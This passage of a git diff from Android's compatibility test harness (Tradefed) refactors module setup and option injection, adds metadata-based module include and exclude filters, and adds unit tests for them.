+    }
+
+    /**
+     * Sort preparers into different lists according to their types
+     *
+     * @param preparers target preparers
+     * @throws IllegalArgumentException
+     */
+    protected void initializePrepareLists(List<ITargetPreparer> preparers)
+            throws IllegalArgumentException {
         boolean hasAbiReceiver = false;
         for (ITargetPreparer preparer : preparers) {
             if (preparer instanceof IAbiReceiver) {
@@ -84,7 +95,7 @@
             // Separate preconditions and dynamicconfigpushers from other target preparers.
             if (preparer instanceof PreconditionPreparer) {
                 mPreconditions.add(preparer);
-            }else if (preparer instanceof DynamicConfigPusher) {
+            } else if (preparer instanceof DynamicConfigPusher) {
                 mDynamicConfigPreparers.add(preparer);
             } else if (preparer instanceof TokenRequirement) {
                 mTokens.addAll(((TokenRequirement) preparer).getTokens());
@@ -98,22 +109,28 @@
         // Reverse cleaner order
         Collections.reverse(mCleaners);
 
+        checkRequiredInterfaces(hasAbiReceiver);
+    }
+
+    /**
+     * Check whether required interfaces are implemented.
+     *
+     * @param hasAbiReceiver whether at lease one of the preparers is AbiReceiver
+     * @throws IllegalArgumentException
+     */
+    protected void checkRequiredInterfaces(boolean hasAbiReceiver) throws IllegalArgumentException {
         // Required interfaces:
-        if (!hasAbiReceiver && !(test instanceof IAbiReceiver)) {
-            throw new IllegalArgumentException(test
-                    + "does not implement IAbiReceiver"
+        if (!hasAbiReceiver && !(mTest instanceof IAbiReceiver)) {
+            throw new IllegalArgumentException(mTest + "does not implement IAbiReceiver"
                     + " - for multi-abi testing (64bit)");
-        } else if (!(test instanceof IRuntimeHintProvider)) {
-            throw new IllegalArgumentException(test
-                    + " does not implement IRuntimeHintProvider"
+        } else if (!(mTest instanceof IRuntimeHintProvider)) {
+            throw new IllegalArgumentException(mTest + " does not implement IRuntimeHintProvider"
                     + " - to provide estimates of test invocation time");
-        } else if (!(test instanceof ITestCollector)) {
-            throw new IllegalArgumentException(test
-                    + " does not implement ITestCollector"
+        } else if (!(mTest instanceof ITestCollector)) {
+            throw new IllegalArgumentException(mTest + " does not implement ITestCollector"
                     + " - for test list collection");
-        } else if (!(test instanceof ITestFilterReceiver)) {
-            throw new IllegalArgumentException(test
-                    + " does not implement ITestFilterReceiver"
+        } else if (!(mTest instanceof ITestFilterReceiver)) {
+            throw new IllegalArgumentException(mTest + " does not implement ITestFilterReceiver"
                     + " - to allow tests to be filtered");
         }
     }
@@ -143,6 +160,13 @@
     }
 
     /**
+     * @return the mPreparerWhitelist
+     */
+    protected Set<String> getPreparerWhitelist() {
+        return mPreparerWhitelist;
+    }
+
+    /**
      * {@inheritDoc}
      */
     @Override
@@ -223,26 +247,10 @@
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
         CLog.d("Running module %s", toString());
-        // Run DynamicConfigPusher setup once more, in case cleaner has previously
-        // removed dynamic config file from the target (see b/32877809)
-        for (ITargetPreparer preparer : mDynamicConfigPreparers) {
-            runPreparerSetup(preparer);
-        }
-        // Setup
-        for (ITargetPreparer preparer : mPreparers) {
-            runPreparerSetup(preparer);
-        }
+        runPreparerSetups();
 
         CLog.d("Test: %s", mTest.getClass().getSimpleName());
-        if (mTest instanceof IAbiReceiver) {
-            ((IAbiReceiver) mTest).setAbi(mAbi);
-        }
-        if (mTest instanceof IBuildReceiver) {
-            ((IBuildReceiver) mTest).setBuild(mBuild);
-        }
-        if (mTest instanceof IDeviceTest) {
-            ((IDeviceTest) mTest).setDevice(mDevice);
-        }
+        prepareTestClass();
 
         IModuleListener moduleListener = new ModuleListener(this, listener);
         // Guarantee events testRunStarted and testRunEnded in case underlying test runner does not
@@ -258,6 +266,38 @@
     }
 
     /**
+     * Run preparer setup functions.
+     *
+     * @throws DeviceNotAvailableException
+     */
+    protected void runPreparerSetups() throws DeviceNotAvailableException {
+        // Run DynamicConfigPusher setup once more, in case cleaner has previously
+        // removed dynamic config file from the target (see b/32877809)
+        for (ITargetPreparer preparer : mDynamicConfigPreparers) {
+            runPreparerSetup(preparer);
+        }
+        // Setup
+        for (ITargetPreparer preparer : mPreparers) {
+            runPreparerSetup(preparer);
+        }
+    }
+
+    /**
+     * Set test classes attributes according to their interfaces.
+     */
+    protected void prepareTestClass() {
+        if (mTest instanceof IAbiReceiver) {
+            ((IAbiReceiver) mTest).setAbi(mAbi);
+        }
+        if (mTest instanceof IBuildReceiver) {
+            ((IBuildReceiver) mTest).setBuild(mBuild);
+        }
+        if (mTest instanceof IDeviceTest) {
+            ((IDeviceTest) mTest).setDevice(mDevice);
+        }
+    }
+
+    /**
      * {@inheritDoc}
      */
     @Override
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index 388a1aa..601d38c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -243,44 +243,11 @@
                     if (mModuleArgs.containsKey(id)) {
                         args.putAll(mModuleArgs.get(id));
                     }
-                    for (Entry<String, List<String>> entry : args.entrySet()) {
-                        for (String entryValue : entry.getValue()) {
-                            // Collection-type options can be injected with multiple values
-                            String entryName = entry.getKey();
-                            if (entryValue.contains(":")) {
-                                // entryValue is key-value pair
-                                String key = entryValue.split(":")[0];
-                                String value = entryValue.split(":")[1];
-                                config.injectOptionValue(entryName, key, value);
-                            } else {
-                                // entryValue is just the argument value
-                                config.injectOptionValue(entryName, entryValue);
-                            }
-                        }
-                    }
+                    injectOptionsToConfig(args, config);
 
                     List<IRemoteTest> tests = config.getTests();
                     for (IRemoteTest test : tests) {
-                        String className = test.getClass().getName();
-                        Map<String, List<String>> testArgsMap = new HashMap<>();
-                        if (mTestArgs.containsKey(className)) {
-                            testArgsMap.putAll(mTestArgs.get(className));
-                        }
-                        for (Entry<String, List<String>> entry : testArgsMap.entrySet()) {
-                            for (String entryValue : entry.getValue()) {
-                                String entryName = entry.getKey();
-                                if (entryValue.contains(":")) {
-                                    // entryValue is key-value pair
-                                    String key = entryValue.split(":")[0];
-                                    String value = entryValue.split(":")[1];
-                                    config.injectOptionValue(entryName, key, value);
-                                } else {
-                                    // entryValue is just the argument value
-                                    config.injectOptionValue(entryName, entryValue);
-                                }
-                            }
-                        }
-                        addFiltersToTest(test, abi, name);
+                        prepareTestClass(name, abi, config, test);
                     }
                     List<IRemoteTest> shardedTests = tests;
                     if (mTotalShards > 1) {
@@ -302,6 +269,48 @@
         TestRunHandler.setTestRuns(new CompatibilityBuildHelper(buildInfo), shardedTestCounts);
     }
 
+    /**
+     * Prepare to run test classes.
+     *
+     * @param name module name
+     * @param abi IAbi object that contains abi information
+     * @param config IConfiguration object created from config file
+     * @param test test class
+     * @throws ConfigurationException
+     */
+    protected void prepareTestClass(final String name, IAbi abi, IConfiguration config,
+            IRemoteTest test) throws ConfigurationException {
+        String className = test.getClass().getName();
+        Map<String, List<String>> testArgsMap = new HashMap<>();
+        if (mTestArgs.containsKey(className)) {
+            testArgsMap.putAll(mTestArgs.get(className));
+        }
+        injectOptionsToConfig(testArgsMap, config);
+        addFiltersToTest(test, abi, name);
+    }
+
+    /**
+     * Helper to inject options to a config.
+     */
+    @VisibleForTesting
+    void injectOptionsToConfig(Map<String, List<String>> optionMap, IConfiguration config)
+            throws ConfigurationException{
+        for (Entry<String, List<String>> entry : optionMap.entrySet()) {
+            for (String entryValue : entry.getValue()) {
+                String entryName = entry.getKey();
+                if (entryValue.contains(":=")) {
+                    // entryValue is key-value pair
+                    String key = entryValue.substring(0, entryValue.indexOf(":="));
+                    String value = entryValue.substring(entryValue.indexOf(":=") + 2);
+                    config.injectOptionValue(entryName, key, value);
+                } else {
+                    // entryValue is just the argument value
+                    config.injectOptionValue(entryName, entryValue);
+                }
+            }
+        }
+    }
+
     private List<IRemoteTest> splitShardableTests(List<IRemoteTest> tests, IBuildInfo buildInfo) {
         ArrayList<IRemoteTest> shardedList = new ArrayList<>(tests.size());
         for (IRemoteTest test : tests) {
@@ -348,15 +357,15 @@
         return fs;
     }
 
-    private void addModuleDef(String name, IAbi abi, IRemoteTest test,
-            String[] configPaths) throws ConfigurationException {
+    protected void addModuleDef(String name, IAbi abi, IRemoteTest test, String[] configPaths)
+            throws ConfigurationException {
         // Invokes parser to process the test module config file
         IConfiguration config = mConfigFactory.createConfigurationFromArgs(configPaths);
         addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers(),
                 config.getConfigurationDescription()));
     }
 
-    private void addModuleDef(IModuleDef moduleDef) {
+    protected void addModuleDef(IModuleDef moduleDef) {
         Set<String> tokens = moduleDef.getTokens();
         if (tokens != null && !tokens.isEmpty()) {
             mTokenModules.add(moduleDef);
@@ -665,4 +674,11 @@
         mTestArgs.clear();
         mModuleArgs.clear();
     }
+
+    /**
+     * @return the mConfigFactory
+     */
+    protected IConfigurationFactory getConfigFactory() {
+        return mConfigFactory;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index f5e1f77..0bde834 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -35,6 +35,7 @@
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
+import com.android.tradefed.util.MultiMap;
 import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 
 import java.io.File;
@@ -121,6 +122,23 @@
                     + "This override the --abi option.")
     private boolean mPrimaryAbiRun = false;
 
+    @Option(name = "module-metadata-include-filter",
+            description = "Include modules for execution based on matching of metadata fields: "
+                    + "for any of the specified filter name and value, if a module has a metadata "
+                    + "field with the same name and value, it will be included. When both module "
+                    + "inclusion and exclusion rules are applied, inclusion rules will be "
+                    + "evaluated first. Using this together with test filter inclusion rules may "
+                    + "result in no tests to execute if the rules don't overlap.")
+    private MultiMap<String, String> mModuleMetadataIncludeFilter = new MultiMap<>();
+
+    @Option(name = "module-metadata-exclude-filter",
+            description = "Exclude modules for execution based on matching of metadata fields: "
+                    + "for any of the specified filter name and value, if a module has a metadata "
+                    + "field with the same name and value, it will be excluded. When both module "
+                    + "inclusion and exclusion rules are applied, inclusion rules will be "
+                    + "evaluated first.")
+    private MultiMap<String, String> mModuleMetadataExcludeFilter = new MultiMap<>();
+
     private ModuleRepoSuite mModuleRepo = new ModuleRepoSuite();
     private CompatibilityBuildHelper mBuildHelper;
 
@@ -136,7 +154,7 @@
             // throw a {@link FileNotFoundException}
             return mModuleRepo.loadConfigs(mBuildHelper.getTestsDir(),
                     abis, mTestArgs, mModuleArgs, mIncludeFilters,
-                    mExcludeFilters);
+                    mExcludeFilters, mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter);
         } catch (DeviceNotAvailableException | FileNotFoundException e) {
             throw new RuntimeException(e);
         }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
index 6b697d1..10810e9 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -15,6 +15,7 @@
  */
 package com.android.compatibility.common.tradefed.testtype.suite;
 
+import com.android.annotations.VisibleForTesting;
 import com.android.compatibility.common.util.TestFilter;
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.ConfigurationFactory;
@@ -29,6 +30,7 @@
 import com.android.tradefed.testtype.ITestFilterReceiver;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
 import com.android.tradefed.util.StreamUtil;
 
 import java.io.File;
@@ -38,6 +40,7 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
@@ -62,7 +65,9 @@
      */
     public LinkedHashMap<String, IConfiguration> loadConfigs(File testsDir, Set<IAbi> abis,
             List<String> testArgs, List<String> moduleArgs,
-            Set<String> includeFilters, Set<String> excludeFilters) {
+            Set<String> includeFilters, Set<String> excludeFilters,
+            MultiMap<String, String> metadataIncludeFilters,
+            MultiMap<String, String> metadataExcludeFilters) {
         CLog.d("Initializing ModuleRepo\nTests Dir:%s\nABIs:%s\n" +
                 "Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
                 testsDir.getAbsolutePath(), abis, testArgs, moduleArgs,
@@ -98,6 +103,12 @@
                         continue;
                     }
                     IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
+                    if (!filterByConfigMetadata(config,
+                            metadataIncludeFilters, metadataExcludeFilters)) {
+                        // if the module config did not pass the metadata filters, it's excluded
+                        // from execution
+                        continue;
+                    }
                     Map<String, List<String>> args = new HashMap<>();
                     if (mModuleArgs.containsKey(name)) {
                         args.putAll(mModuleArgs.get(name));
@@ -135,6 +146,8 @@
                             ((IAbiReceiver)preparer).setAbi(abi);
                         }
                     }
+                    // add the abi to the description
+                    config.getConfigurationDescription().setAbi(abi);
                     toRun.put(id, config);
                 }
             } catch (ConfigurationException e) {
@@ -145,6 +158,47 @@
         return toRun;
     }
 
+    @VisibleForTesting
+    protected boolean filterByConfigMetadata(IConfiguration config,
+            MultiMap<String, String> include, MultiMap<String, String> exclude) {
+        MultiMap<String, String> metadata = config.getConfigurationDescription().getAllMetaData();
+        boolean shouldInclude = false;
+        for (String key : include.keySet()) {
+            Set<String> filters = new HashSet<>(include.get(key));
+            if (metadata.containsKey(key)) {
+                filters.retainAll(metadata.get(key));
+                if (!filters.isEmpty()) {
+                    // inclusion filter is not empty and there's at least one matching inclusion
+                    // rule so there's no need to match other inclusion rules
+                    shouldInclude = true;
+                    break;
+                }
+            }
+        }
+        if (!include.isEmpty() && !shouldInclude) {
+            // if inclusion filter is not empty and we didn't find a match, the module will not be
+            // included
+            return false;
+        }
+        // Now evaluate exclusion rules, this ordering also means that exclusion rules may override
+        // inclusion rules: a config already matched for inclusion may still be excluded if matching
+        // rules exist
+        for (String key : exclude.keySet()) {
+            Set<String> filters = new HashSet<>(exclude.get(key));
+            if (metadata.containsKey(key)) {
+                filters.retainAll(metadata.get(key));
+                if (!filters.isEmpty()) {
+                    // we found at least one matching exclusion rules, so we are excluding this
+                    // this module
+                    return false;
+                }
+            }
+        }
+        // we've matched at least one inclusion rule (if there's any) AND we didn't match any of the
+        // exclusion rules (if there's any)
+        return true;
+    }
+
     private void addFilters(Set<String> stringFilters,
             Map<String, List<TestFilter>> filters, Set<IAbi> abis) {
         for (String filterString : stringFilters) {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index fc04085..9a9a547 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -37,6 +37,7 @@
 import com.android.compatibility.common.tradefed.testtype.SubPlanTest;
 import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTestTest;
 import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
+import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
 import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
 import com.android.compatibility.common.tradefed.util.OptionHelperTest;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelperTest;
@@ -92,6 +93,7 @@
 
     // testype.suite
     CompatibilityTestSuiteTest.class,
+    ModuleRepoSuiteTest.class,
 
     // util
     CollectorUtilTest.class,
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
index c98b34b..7a1fe7f 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
@@ -408,6 +408,40 @@
                 result1.getResultStatus());
     }
 
+    public void testResultReporting_moduleNotDone_noTests() throws Exception {
+        mReporter.invocationStarted(mContext);
+        mReporter.testRunStarted(ID, 0);
+        mReporter.testRunFailed("error"); // test run failure should prevent marking module "done"
+        mReporter.testRunEnded(10, new HashMap<String, String>());
+        mReporter.invocationEnded(10);
+        IInvocationResult result = mReporter.getResult();
+        assertEquals("Expected 0 pass", 0, result.countResults(TestStatus.PASS));
+        assertEquals("Expected 0 failures", 0, result.countResults(TestStatus.FAIL));
+        List<IModuleResult> modules = result.getModules();
+        assertEquals("Expected 1 module", 1, modules.size());
+        IModuleResult module = modules.get(0);
+        assertEquals("Incorrect ID", ID, module.getId());
+        // Ensure module is reported as not done
+        assertFalse(module.isDone());
+    }
+
+    public void testResultReporting_moduleDone_noTests() throws Exception {
+        mReporter.invocationStarted(mContext);
+        mReporter.testRunStarted(ID, 0);
+        // Lack of test run failure should allow module to be marked "done"
+        mReporter.testRunEnded(10, new HashMap<String, String>());
+        mReporter.invocationEnded(10);
+        IInvocationResult result = mReporter.getResult();
+        assertEquals("Expected 0 pass", 0, result.countResults(TestStatus.PASS));
+        assertEquals("Expected 0 failures", 0, result.countResults(TestStatus.FAIL));
+        List<IModuleResult> modules = result.getModules();
+        assertEquals("Expected 1 module", 1, modules.size());
+        IModuleResult module = modules.get(0);
+        assertEquals("Incorrect ID", ID, module.getId());
+        // Ensure module is reported as done
+        assertTrue(module.isDone());
+    }
+
     public void testCopyFormattingFiles() throws Exception {
         File resultDir = new File(mBuildHelper.getResultsDir(), RESULT_DIR);
         resultDir.mkdirs();
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
index 8beb9a7..be246ae 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
@@ -22,6 +22,7 @@
 import com.android.tradefed.config.Configuration;
 import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.targetprep.ITargetPreparer;
@@ -768,4 +769,49 @@
         assertFalse("config not excluded with matching inclusion and exclusion filters",
                 mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
     }
+
+    public static class TestInject implements IRemoteTest {
+        @Option(name = "simple-string")
+        public String test = null;
+        @Option(name = "list-string")
+        public List<String> testList = new ArrayList<>();
+        @Option(name = "map-string")
+        public Map<String, String> testMap = new HashMap<>();
+
+        @Override
+        public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        }
+    }
+
+    /**
+     * Test that the different format for module-arg and test-arg can properly be passed to the
+     * configuration.
+     */
+    public void testInjectConfig() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        TestInject checker = new TestInject();
+        config.setTest(checker);
+        Map<String, List<String>> optionMap = new HashMap<String, List<String>>();
+        List<String> option1 = new ArrayList<>();
+        option1.add("value1");
+        optionMap.put("simple-string", option1);
+
+        List<String> option2 = new ArrayList<>();
+        option2.add("value2");
+        option2.add("value3");
+        option2.add("set-option:moreoption");
+        optionMap.put("list-string", option2);
+
+        List<String> option3 = new ArrayList<>();
+        option3.add("set-option:=moreoption");
+        optionMap.put("map-string", option3);
+
+        mRepo.injectOptionsToConfig(optionMap, config);
+
+        assertEquals("value1", checker.test);
+        assertEquals(option2, checker.testList);
+        Map<String, String> resMap = new HashMap<>();
+        resMap.put("set-option", "moreoption");
+        assertEquals(resMap, checker.testMap);
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
new file mode 100644
index 0000000..bdcf5ea
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.suite;
+
+import static org.junit.Assert.*;
+
+import com.android.tradefed.config.Configuration;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.util.MultiMap;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Unit tests for {@link ModuleRepoSuite}.
+ */
+@RunWith(JUnit4.class)
+public class ModuleRepoSuiteTest {
+
+    private static final MultiMap<String, String> METADATA_INCLUDES = new MultiMap<>();
+    private static final MultiMap<String, String> METADATA_EXCLUDES = new MultiMap<>();
+    private ModuleRepoSuite mRepo;
+
+    @Before
+    public void setUp() {
+        mRepo = new ModuleRepoSuite();
+    }
+
+    /**
+     * When there are no metadata based filters specified, config should be included.
+     */
+    @Test
+    public void testMetadataFilter_emptyFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        assertTrue("config not included when metadata filters are empty",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config matching the filter is included.
+     */
+    @Test
+    public void testMetadataFilter_matchInclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config not matching the filter is excluded
+     */
+    @Test
+    public void testMetadataFilter_noMatchInclude_mismatchValue() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "bar");
+        assertFalse("config not excluded with mismatching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config not matching the filter is excluded.
+     */
+    @Test
+    public void testMetadataFilter_noMatchInclude_mismatchKey() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("group", "bar");
+        assertFalse("config not excluded with mismatching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filter is specified, config matching the filter is excluded.
+     */
+    @Test
+    public void testMetadataFilter_matchExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When exclusion filter is specified, config not matching the filter is included.
+     */
+    @Test
+    public void testMetadataFilter_noMatchExclude_mismatchKey() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "bar");
+        assertTrue("config not included with mismatching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When exclusion filter is specified, config not matching the filter is included.
+     */
+    @Test
+    public void testMetadataFilter_noMatchExclude_mismatchValue() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar");
+        assertTrue("config not included with mismatching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filter is specified, config with one of the metadata field matching the filter
+     * is included.
+     */
+    @Test
+    public void testMetadataFilter_matchInclude_multipleMetadataField() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("component", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filter is specified, config with one of the metadata field matching the filter
+     * is excluded.
+     */
+    @Test
+    public void testMetadataFilter_matchExclude_multipleMetadataField() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("component", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filters are specified, config with metadata field matching one of the filter
+     * is included.
+     */
+    @Test
+    public void testMetadataFilter_matchInclude_multipleFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        includeFilter.put("component", "bar");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filters are specified, config with metadata field matching one of the filter
+     * is excluded.
+     */
+    @Test
+    public void testMetadataFilter_matchExclude_multipleFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        excludeFilter.put("component", "bar");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filters are specified, config with metadata field matching one of the filter
+     * is included.
+     */
+    @Test
+    public void testMetadataFilter_matchInclude_multipleMetadataAndFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo1");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo1");
+        includeFilter.put("group", "bar2");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filters are specified, config with metadata field matching one of the filter
+     * is excluded.
+     */
+    @Test
+    public void testMetadataFilter_matchExclude_multipleMetadataAndFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo1");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
